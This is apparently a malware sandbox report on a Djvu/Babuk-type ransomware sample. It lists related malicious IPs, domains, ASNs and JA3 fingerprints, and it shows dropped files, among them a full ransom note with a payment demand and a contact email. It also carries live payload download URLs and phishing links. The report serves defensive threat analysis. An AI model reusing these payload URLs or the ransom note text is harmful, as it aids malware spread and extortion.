	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	ddos.dnsnb8.net:799/cj//k5.rar
	F891E10C9A7B6D0CBBBB6B3D103CF3DC935541430C5363648E6E1A3203BDD76D.exe	Get hash	malicious	Bdaejec, SystemBC	Browse	ddos.dnsnb8.net:799/cj//k5.rar
	F898E35329AE242F1F8C0E64EFDE783E9742671336598AD9824073DECAE40F4A.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	Endermanch@SecurityDefener2015.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	Endermanch@SecurityDefender.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k2.rar
	Endermanch@Vista.exe	Get hash	malicious	Bdaejec	Browse	ddos.dnsnb8.net:799/cj//k1.rar
188.114.96.3	https://www.trypineappledigital.agency/	Get hash	malicious	Unknown	Browse	daytimeadmirable.icu/favicon.ico
	Quotation.xls	Get hash	malicious	Remcos	Browse	tny.wtf/jk8Z5I
	DRAFT AWB and DRAFT Commercial invoice.xls	Get hash	malicious	Remcos	Browse	tny.wtf/cyd
	S004232824113048.xls	Get hash	malicious	Remcos, DBatLoader	Browse	wx.ax/Xm6
	http://comicextra.me/favicon.ico	Get hash	malicious	Unknown	Browse	comicextra.org/favicon.ico
	AED 47,000.exe	Get hash	malicious	FormBook	Browse	www.yi992.com/iuti/
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eadkqsUM/download
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/4jaIXkvS/download
	QUOTATION_JULQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	filetransfer.io/data-package/yavjNkfZ/download
	Purchase Order - P04737.xls	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	tny.wtf/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.2ip.ua	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	e26edae12836af5e3c42984eca4da6de5d4853701ef28c178de2276575408bb8.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	188.114.96.3
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.97.3
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.97.3
	C1E3DBF11B5B3D434C8026BB344D5E9FD6DABA717622CCFC4E07CADF051CBA72.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.97.3
	BF4DCAFE30C748D3AE356DACAEE3C6D33D949E6A6C53DEC1F5FD4EA12D77B505.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	BA53F24D6448DFC4B1A4A9B73D7D24ECC31A05A4E26EE051BA5ADA4312F319D1.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	188.114.96.3
fuyt.org	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	C1E3DBF11B5B3D434C8026BB344D5E9FD6DABA717622CCFC4E07CADF051CBA72.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	BF4DCAFE30C748D3AE356DACAEE3C6D33D949E6A6C53DEC1F5FD4EA12D77B505.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	BA53F24D6448DFC4B1A4A9B73D7D24ECC31A05A4E26EE051BA5ADA4312F319D1.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	B981A1B3DB85E9AE44A79F66ECBCED67088BDA1089FE799D0BCB8DC7C7882B59.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
ddos.dnsnb8.net	Fantom.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	FC8BD535BF98089640F0589D3FE30FB55B1287278F9B42D66C91D397E00BA23A.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	fax_390392029_072514.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	F5D89DECEF6271D813BE49A3CB4C630364CBA87FDE4FD9BCE81821479D1E771E.exe	Get hash	malicious	Bdaejec, RedLine	Browse	44.221.84.105
	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	44.221.84.105
	F891E10C9A7B6D0CBBBB6B3D103CF3DC935541430C5363648E6E1A3203BDD76D.exe	Get hash	malicious	Bdaejec, SystemBC	Browse	44.221.84.105
	F898E35329AE242F1F8C0E64EFDE783E9742671336598AD9824073DECAE40F4A.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@SecurityDefener2015.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@SecurityDefender.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@Vista.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LIVECOMM-ASRespublikanskayastr3k6RU	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	C1E3DBF11B5B3D434C8026BB344D5E9FD6DABA717622CCFC4E07CADF051CBA72.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	BF4DCAFE30C748D3AE356DACAEE3C6D33D949E6A6C53DEC1F5FD4EA12D77B505.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
	BA53F24D6448DFC4B1A4A9B73D7D24ECC31A05A4E26EE051BA5ADA4312F319D1.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	92.246.89.93
	B981A1B3DB85E9AE44A79F66ECBCED67088BDA1089FE799D0BCB8DC7C7882B59.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	92.246.89.93
CLOUDFLARENETUS	https://cafehanoi.mx-router-ii.com/c/gjdg/vddcazcw/8-_r8_yol4c	Get hash	malicious	Phisher	Browse	188.114.96.3
	https://t.apemail.net/c/nqkr6vk3kzmvyhqvdmdrwaaaa4bqmaqeainqogyhdmkxs5qvdmkqcvagayhveflk-nqdbwfkcivnrkgyvpf3bkgygamaa4bqedmcagbahdmdrwbigaqcqeaiodmdrwby3cupvkw2wlfob4fi3a4nvsqs3lmnrkvcylfbvmvcdcunqaaahamdaebacdmkv6q2di5ca2gayirdugvkekjcucxsukjcbsvcydfbfygapp5oa4uqylzmvguspdfpugws3cunugrkckinqaaqcdmkxs5qvdnmuew23dnmuew23dnmuew23dnmuew23dmkqcvagayhveflk&08a02ff5eb0bff858b719422d61dafe4	Get hash	malicious	HTMLPhisher	Browse	104.18.69.40
	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	https://trk.klclick3.com/ls/click?upn=u001.SqxjShoZHixdTWeQgrVHBBddHkdBUadcx6zFRcEG7c0ZdVqXeLhZmJ53-2Bo9SFgSv4x1E0MvFzL39RE-2FPzHwm8AIb2-2BRALZfPN9ADiPjfhO0xQrvxp9-2FdH677BkTqQN9OdWLY3cgH90-2ByQm-2F14-2BEfJAse86Dujw4voEZmzmSzs3U-3DS-Xr_jkebJe-2FTbSX5bTiKPvviT0v1IIRmN-2BxhKcfQ8xQFW5hz-2FJQ7KoAUDwZXZABbXje3L3wtbgR2WPN5i0So8ryqVTmdI-2BwgMxdyp4Z3Su-2FzP5aJK-2FU2IszgjUzNUorM5CkjROD42zW5kOJ3sMQY4XaDqXksYspLbdueqrPD2mE3H2GiVOPRwqpABaGe8s3JmlEj4-2FRtRo37p57VXsCnueIyQb-2FphnHxd-2FpWg5RspZlZpePbnimWai9uO0BrPfO20av3AHqqERaTi1pPQrIkwWbHDvDU-2B0v0-2Bw1Izd4HFJFFBEzgamAqVWD8Xh0-2FDXTgQjgISnWo0fiCul2xOBES9XCIuRIMdE8LSAGyxxmE4TsRqH-2F9QYYKp-2B6qL2g4KHcmjlgubQoChF6rQ8lxNPqWAo-2FxrHImqTLVdq-2BmCH56Xfmt-2BAudpZfGYLciWkZzNHSiCB9TarmoXKPGTFCjrlfec3nW0wsMImrtDswa1u0s7AbRou8-3D#uWGiEE-SURELYONcG1ja25pZ2h0QGtpbGNveWdsb2JhbGZvb2RzLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	104.21.15.145
	e26edae12836af5e3c42984eca4da6de5d4853701ef28c178de2276575408bb8.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	188.114.96.3
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.97.3
	https://r1s5ysq3czg5vii7sy3amdlrggobbqdod4rcuy0ul3qxlie.pages.dev/	Get hash	malicious	Unknown	Browse	188.114.96.3
AMAZON-AESUS	Fantom.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	FC8BD535BF98089640F0589D3FE30FB55B1287278F9B42D66C91D397E00BA23A.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	fax_390392029_072514.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	F5D89DECEF6271D813BE49A3CB4C630364CBA87FDE4FD9BCE81821479D1E771E.exe	Get hash	malicious	Bdaejec, RedLine	Browse	44.221.84.105
	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	44.221.84.105
	F891E10C9A7B6D0CBBBB6B3D103CF3DC935541430C5363648E6E1A3203BDD76D.exe	Get hash	malicious	Bdaejec, SystemBC	Browse	44.221.84.105
	F898E35329AE242F1F8C0E64EFDE783E9742671336598AD9824073DECAE40F4A.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@SecurityDefener2015.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@SecurityDefender.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	Endermanch@Vista.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	f84038a5c35557bb57839423dcab27287ac5ab490fca503f496df61da5e2bc99.exe	Get hash	malicious	Bdaejec, Vidar	Browse	188.114.96.3
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	e26edae12836af5e3c42984eca4da6de5d4853701ef28c178de2276575408bb8.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	E1BE354A31A340C3EBE7BF14ED0FBBCB788A47190B253D05067E9E8698C25698.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	SraTIeD668.exe	Get hash	malicious	Gh0stCringe, GhostRat, Mimikatz, RunningRAT	Browse	188.114.96.3
	D932DBE6A5BE50D4668037CD66420FC424DE0B57368ED6FC8A1D249F4D6D1E10.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	188.114.96.3
	DA0E4FADC9227BEC63E5BFD562EEFE9682C2131E4DFB8BA2A1A0ECA7C699BB99.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	D3CA0EF14E8DC45497FABA304ACF842BB2F2913CA2108600EE2771F9E9A24F9C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	cerber.exe	Get hash	malicious	Bdaejec, Cerber, CryptOne	Browse	188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Fantom.exe	Get hash	malicious	Bdaejec	Browse
	FC8BD535BF98089640F0589D3FE30FB55B1287278F9B42D66C91D397E00BA23A.exe	Get hash	malicious	Bdaejec	Browse
	fax_390392029_072514.exe	Get hash	malicious	Bdaejec	Browse
	F5D89DECEF6271D813BE49A3CB4C630364CBA87FDE4FD9BCE81821479D1E771E.exe	Get hash	malicious	Bdaejec, RedLine	Browse
	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse
	F891E10C9A7B6D0CBBBB6B3D103CF3DC935541430C5363648E6E1A3203BDD76D.exe	Get hash	malicious	Bdaejec, SystemBC	Browse
	F898E35329AE242F1F8C0E64EFDE783E9742671336598AD9824073DECAE40F4A.exe	Get hash	malicious	Bdaejec	Browse
	Endermanch@SecurityDefener2015.exe	Get hash	malicious	Bdaejec	Browse
	Endermanch@SecurityDefender.exe	Get hash	malicious	Bdaejec	Browse
	Endermanch@Vista.exe	Get hash	malicious	Bdaejec	Browse

Created / dropped Files

C:\$WinREAgent\Scratch\_readme.txt

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	4.884025328365006
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWtfFmFRqrl3W4kA+GT/kF5M2/kAApJx13b:WZHfv0p6WVFPFWrDGT0f/kj53b
MD5:	35779C10C1797CD75D7E64C8579FED59
SHA1:	68C0A5BF86F957E8976300A74F20F2785EEE204A
SHA-256:	ABE1851BFD95CAC28F57A85B9770513ECB91F6A1629F879832AE653BD808CBE5
SHA-512:	E2A89A0143FBA496DCCE1322CCDF88A576BEBB2F8D0C1EA13D2F5CF288D689DEA27672DCE969CE49AE9740E06C31E8B0FD197A447997D6B54DEEE1F56E483022
Malicious:	true
Reputation:	low
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-0S984cQ4B3..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

C:\$WinREAgent\_readme.txt

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1106
Entropy (8bit):	4.884025328365006
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWtfFmFRqrl3W4kA+GT/kF5M2/kAApJx13b:WZHfv0p6WVFPFWrDGT0f/kj53b
MD5:	35779C10C1797CD75D7E64C8579FED59
SHA1:	68C0A5BF86F957E8976300A74F20F2785EEE204A
SHA-256:	ABE1851BFD95CAC28F57A85B9770513ECB91F6A1629F879832AE653BD808CBE5
SHA-512:	E2A89A0143FBA496DCCE1322CCDF88A576BEBB2F8D0C1EA13D2F5CF288D689DEA27672DCE969CE49AE9740E06C31E8B0FD197A447997D6B54DEEE1F56E483022
Malicious:	true
Reputation:	low
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-0S984cQ4B3..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19456
Entropy (8bit):	6.59087085443288
Encrypted:	false
SSDEEP:	384:1F5SEXZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:ckQGPL4vzZq2o9W7GsxBbPr
MD5:	6D347BAAC285932E341C1E9A859C66A2
SHA1:	FAA4437E9E967204F5EE655CD28F6830C0B3DED9
SHA-256:	400E8A175F3CFF86868B652113D33A917EFECA2BE75D3BCC42E6328E66AAEA85
SHA-512:	4BF1EA3E627FFB9B5EDF3B5FA6B26B59672FAA7749D8AA46B25031CB9BE9EC906C4A831D1A08BDD92F0DBCADC8155507821A9250D87CFCBE3A83AFB7D84E2B8C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ..........................................................@...PE..L....................................0............................................................................................... ..l...........................................................................................................PELIB...............................`....rsrc........ ......................@..@..Y\|.uR..P...0...B.................. ...................................................................................j.h"...h....j...(....Hello World!.MyProg........................................................................................................................................................................................................................(...........0...(.......................;.......User32.dll...MessageBoxA................................................................................................dummy.exe.....................TestExport.CallPlz................

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2389504
Entropy (8bit):	6.731348731779866
Encrypted:	false
SSDEEP:	49152:BGSXoV72tpV9XE8Wwi1aCvYMdRluS/fYw44RxL:V4OEtwiICvYMpf
MD5:	6E6CF71A96CBBEB35C0D1F6A1A82B818
SHA1:	E174F1DB02A6557A8FFFCF78855DE2C4B35AB692
SHA-256:	8DC7E19CB96330056224552A9A03FED81FE113273A1CBFC1DBF40C1057A60391
SHA-512:	0CA3531F87D6CF498A34F5FED632955AAA0D9397A6B9826F6E7BFC539957FAE67DADF112AF0FA48357AF07421F0DA76A8C3AD411BA54E2EE97E33D12FC76F5F2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ark.Ark.Ark...o.Mrk...h.Jrk...n.^rk...j.Erk.H...Brk.H...nrk.Arj..pk...b.rk...k.@rk.....@rk...i.@rk.RichArk.........................PE..L.....(c.....................~.......p$...........@...........................$...........@.........................p...<............@ ......................P#.....@...p...................P...........@............................................text...e........................... ..`.rdata...^.......`..................@..@.data...`....0......................@....rsrc........@ ....... .............@..@.reloc.......P#......"#.............@..B.....u...P...p$..B...4$............. ...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\Uninstall.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\lgYdZ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	31744
Entropy (8bit):	6.366616693821147
Encrypted:	false
SSDEEP:	768:uWQ3655Kv1X/qY1MSdAMQGPL4vzZq2o9W7GsxBbPr:uHqaNrFdAPGCq2iW7z
MD5:	24BA3F0992402BD6542543C9AEA5F7C7
SHA1:	FC8F69751C8F2359143CFBF7F33DF8D30B57CA9A
SHA-256:	89ABD5E68928F487406CA23466F1FD635D2EC0A221F6BAC68134031220F80511
SHA-512:	D76BD84EE6293B1394D208A92A874D1EFDD1A6A7DBBA5727DB81A610C1DB93AAC4C4B4FC3A54C47EC638AD0A41F891242F54575B15ECEA89DB912D19D8BF3A98
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.6...X...X...X.x.R...X..V...X.x.\...X......X...Y.W.X......X.!.R...X...^...X.Rich..X.................PE..L...pN.d........../......V...@.......p.......0....@.........................................................................$9.......`...............................................................................0...............................text............................... ..`.rdata.......0......................@..@.data...X....@.......(..............@....rsrc........`.......*..............@..@.EpN.uZ..P...p...B...:.............. ...................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_lgYdZ.exe_203f94d63fff7051f7d6fbe11fe51fb1f192b_f0cf837e_817227ad-743b-46d6-9b6a-d6b4f0227694\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9860061036687626
Encrypted:	false
SSDEEP:	96:yqFm+1lbbBshhnT7afzQXIDcQBc6oYcEwcw3sJ+HbHg/5ksS/YyNl1zWDUMsxzLn:JVbbB60/havj8fp9zuiFXZ24IO8E
MD5:	D296603F2AA9847E5A27905FBBE81D31
SHA1:	07293C9964D8028374F4671580672964928882F6
SHA-256:	603D920C9C2CF622D55F75FEB6545F196C97948BF40AF28A603BD346913EBC88
SHA-512:	11A865DD81B1E5D14D05DF73620BBCCE513BDD2D1F9CCDE5914340D17858B2C8D7B64213BD1EB581CE0055684BB7A2C2CEC9FF2F7589FDB4ED6B3E81C8FDF9F6
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.3.3.9.9.0.5.1.4.9.2.5.9.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.3.3.9.9.0.5.9.3.0.5.0.1.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.1.7.2.2.7.a.d.-.7.4.3.b.-.4.6.d.6.-.9.b.6.a.-.d.6.b.4.f.0.2.2.7.6.9.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.7.1.c.0.a.8.7.-.f.2.d.8.-.4.5.a.9.-.b.1.d.3.-.b.5.2.3.a.8.b.5.0.9.a.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.g.Y.d.Z...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.b.0.-.0.0.0.1.-.0.0.1.4.-.2.9.4.b.-.d.a.3.5.2.7.d.e.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.a.9.a.0.6.b.1.d.7.a.a.d.e.7.0.3.6.1.6.b.0.1.8.2.a.b.8.9.a.7.5.0.0.0.0.f.f.f.f.!.0.0.0.0.d.4.e.9.e.f.1.0.d.7.6.8.5.d.4.9.1.5.8.3.c.6.f.a.9.3.a.e.5.d.9.1.0.5.d.8.1.5.b.d.!.l.g.Y.d.Z...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.1.3././.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER73D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Jul 25 00:11:45 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	161254
Entropy (8bit):	1.8578603294379383
Encrypted:	false
SSDEEP:	384:LAEZGRp6pUBVQtWTVHI/FVmuyTqdA3LLaf7EunM8am:0Ek3BVssVHsAuyTCAKfY2F
MD5:	C1129EF72A0A53681B7B506BD72597B3
SHA1:	4CF151F428592CF828DBD011C519AF1D3EE72C0E
SHA-256:	F7F07756AFB04B65F7B33C3FCF7B85C7E384833830940DF8FB09D1FA25B48C87
SHA-512:	FB993B83DC3022C7AB2F0938781CB65AB1111BF47ABAD72A30BF3BF4F729E5002AE0752E8CB989C9BAE91BDDADA587E4D87979F7FCE385F9CE7877D8A26A3207
Malicious:	false
Preview:	MDMP..a..... .......A..f............t.......................l...,!..........NR..........`.......8...........T...........@>...7...........!...........#..............................................................................eJ.......$......GenuineIntel............T...........6..f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER903.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6264
Entropy (8bit):	3.7143569678692465
Encrypted:	false
SSDEEP:	192:R6l7wVeJR526a5qsnPoYG7pD089bf4sff1m:R6lXJ/26R0oYG/frfg
MD5:	FB755DEEEB88B07E086F9896B76C46A0
SHA1:	29195707349B7986EFB5BF36A11640FDE33EDBB6
SHA-256:	F12D1AFCD3402F7A095B5B594C9B809A25A0121DCFDF93C5E466EF0DFE442F71
SHA-512:	D0A25A92D2AB7A955D5F9D2EB187BC61F456FCC276D954EE5EECD0A083A0C376D81366A3AB6927FBC17F35D15BD64AAF2937551173542BDA2484E2DBEA8C26F6
Malicious:	false
